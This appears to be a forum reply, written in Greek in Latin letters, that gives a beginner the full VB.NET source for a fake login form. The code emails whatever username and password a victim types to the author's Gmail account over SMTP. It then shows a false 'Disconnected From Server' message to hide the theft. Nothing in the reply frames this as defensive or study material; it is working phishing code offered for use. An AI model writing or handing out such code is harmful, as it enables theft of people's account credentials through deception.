Nomizw pws sthn arxh prepei na eixes valei kai alla pragmata (tools kai na ta esvises me apotelesma afto) eprepe mono afta pou eipa.(an evales kai alla)
kai egw to eixa pa8ei afto sthn arxh den iksera ti einai kai to arxisa to programa na to ftiaxnw apo thn arxh dokimase afto :/
o kodikos sou prepei na einai etsi mesa ekei pou vazoume tous kodikous
Imports System.Net.Mail
Public Class Form1
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Else
End If
End If
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)
MsgBox("Disconnected From Server, Please try again later!")
End Sub
End Class
an sou einai alliws kane kati exeis kanei la8os isws ekanes se la8os meros to copy paste